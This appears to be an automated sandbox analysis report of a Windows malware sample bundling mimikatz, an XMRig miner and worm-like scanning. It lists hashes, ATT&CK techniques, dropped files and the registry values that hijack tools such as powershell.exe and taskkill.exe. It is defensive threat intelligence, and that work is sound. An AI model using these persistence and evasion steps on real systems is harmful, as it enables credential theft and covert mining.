mimikatz | 8fcf02136ba8e8b7fa11228ce4ba4f360d3fa3f7b718d65efe918832cacb7b30

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-12-2024 23:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe
Size

9.9MB
MD5

9ae25e5d388264e20778f3f5bb6107c1
SHA1

4ed936d9c8639b649a35c5da56e9e353564769d2
SHA256

8fcf02136ba8e8b7fa11228ce4ba4f360d3fa3f7b718d65efe918832cacb7b30
SHA512

55db30f1722ecb47a3600be43c9fc437d235ff33f5811234039bd1755b5a1834f59510f51b720cbb280a08c0e22f3920ed00fa55cc6326a8104cb4894ebb2a19
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4844 created 2060	4844	pnreyic.exe	37

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (29102) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/1004-179-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-183-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-200-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-213-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-222-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-233-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-250-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-499-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-500-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-502-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-757-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig
behavioral2/memory/1004-758-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/1608-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/1608-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0007000000023c66-6.dat	mimikatz
behavioral2/memory/996-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/1028-138-0x00007FF762460000-0x00007FF76254E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	pnreyic.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	pnreyic.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	pnreyic.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	pnreyic.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3144	netsh.exe
3260	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
996	pnreyic.exe
4844	pnreyic.exe
2436	wpcap.exe
4124	ttsqkuccf.exe
1028	vfshost.exe
1620	cntrtrctt.exe
2680	xohudmc.exe
3600	ditzew.exe
1004	zergmt.exe
4728	cntrtrctt.exe
3012	cntrtrctt.exe
1952	cntrtrctt.exe
2140	cntrtrctt.exe
3460	cntrtrctt.exe
3016	cntrtrctt.exe
2888	cntrtrctt.exe
392	cntrtrctt.exe
540	cntrtrctt.exe
3100	cntrtrctt.exe
5104	cntrtrctt.exe
4988	cntrtrctt.exe
1848	cntrtrctt.exe
664	cntrtrctt.exe
452	cntrtrctt.exe
2096	cntrtrctt.exe
1488	cntrtrctt.exe
4076	pnreyic.exe
212	ncgcflyve.exe
5852	pnreyic.exe

Loads dropped DLL 12 IoCs

pid	Process
2436	wpcap.exe
2436	wpcap.exe
2436	wpcap.exe
2436	wpcap.exe
2436	wpcap.exe
2436	wpcap.exe
2436	wpcap.exe
2436	wpcap.exe
2436	wpcap.exe
4124	ttsqkuccf.exe
4124	ttsqkuccf.exe
4124	ttsqkuccf.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
63	ifconfig.me
64	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\ditzew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	pnreyic.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	pnreyic.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	pnreyic.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	pnreyic.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	pnreyic.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	pnreyic.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	pnreyic.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\088D7AA6D7DCA369223412E8DEF831B8	pnreyic.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\ditzew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	pnreyic.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\088D7AA6D7DCA369223412E8DEF831B8	pnreyic.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	pnreyic.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023cba-134.dat	upx
behavioral2/memory/1028-136-0x00007FF762460000-0x00007FF76254E000-memory.dmp	upx
behavioral2/memory/1028-138-0x00007FF762460000-0x00007FF76254E000-memory.dmp	upx
behavioral2/files/0x0007000000023cc5-141.dat	upx
behavioral2/memory/1620-142-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1620-157-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/files/0x0007000000023cc2-164.dat	upx
behavioral2/memory/1004-165-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/4728-172-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/3012-176-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1004-179-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/1952-181-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1004-183-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/2140-186-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/3460-190-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/3016-194-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/2888-198-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1004-200-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/392-203-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/540-207-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/3100-211-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1004-213-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/5104-216-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/4988-220-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1004-222-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/1848-225-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/664-229-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/452-232-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1004-233-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/2096-235-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1488-237-0x00007FF626E80000-0x00007FF626EDB000-memory.dmp	upx
behavioral2/memory/1004-250-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/1004-499-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/1004-500-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/1004-502-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/1004-757-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx
behavioral2/memory/1004-758-0x00007FF75C130000-0x00007FF75C250000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\nblmptktz\upbdrjv\swrpwe.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\exma-1.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\trfo-2.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\tucl-1.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\xdvl-0.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\vimpcsvc.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\spoolsrv.xml	pnreyic.exe
File created	C:\Windows\hrmeszcf\svschost.xml	pnreyic.exe
File created	C:\Windows\hrmeszcf\vimpcsvc.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\AppCapture64.dll	pnreyic.exe
File created	C:\Windows\hrmeszcf\pnreyic.exe	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe
File created	C:\Windows\nblmptktz\etgfqftjv\wpcap.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\etgfqftjv\wpcap.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\libxml2.dll	pnreyic.exe
File opened for modification	C:\Windows\hrmeszcf\spoolsrv.xml	pnreyic.exe
File opened for modification	C:\Windows\hrmeszcf\vimpcsvc.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\etgfqftjv\ncgcflyve.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\posh-0.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\trch-1.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\vimpcsvc.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\vimpcsvc.xml	pnreyic.exe
File opened for modification	C:\Windows\hrmeszcf\schoedcl.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\cnli-1.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\svschost.xml	pnreyic.exe
File opened for modification	C:\Windows\hrmeszcf\svschost.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\etgfqftjv\ip.txt	pnreyic.exe
File opened for modification	C:\Windows\nblmptktz\etgfqftjv\Result.txt	ncgcflyve.exe
File opened for modification	C:\Windows\hrmeszcf\pnreyic.exe	2024-12-24_9ae25e5d388264e20778f3f5bb6107c1_hacktools_icedid_mimikatz.exe
File created	C:\Windows\nblmptktz\etgfqftjv\ttsqkuccf.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\crli-0.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\libeay32.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\ssleay32.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\AppCapture32.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\Corporate\vfshost.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\Corporate\mimilib.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\coli-0.dll	pnreyic.exe
File created	C:\Windows\hrmeszcf\docmicfg.xml	pnreyic.exe
File opened for modification	C:\Windows\nblmptktz\Corporate\log.txt	cmd.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\zlib1.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\svschost.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\schoedcl.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\Shellcode.ini	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\ucl.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\spoolsrv.xml	pnreyic.exe
File created	C:\Windows\hrmeszcf\spoolsrv.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\etgfqftjv\scan.bat	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\svschost.xml	pnreyic.exe
File opened for modification	C:\Windows\hrmeszcf\docmicfg.xml	pnreyic.exe
File opened for modification	C:\Windows\nblmptktz\etgfqftjv\Packet.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\schoedcl.exe	pnreyic.exe
File created	C:\Windows\hrmeszcf\schoedcl.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\Corporate\mimidrv.sys	pnreyic.exe
File created	C:\Windows\ime\pnreyic.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\tibe-2.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\docmicfg.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\etgfqftjv\Packet.dll	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\spoolsrv.exe	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\docmicfg.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\schoedcl.xml	pnreyic.exe
File created	C:\Windows\nblmptktz\UnattendGC\specials\docmicfg.exe	pnreyic.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1328	sc.exe
2440	sc.exe
5044	sc.exe
1664	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
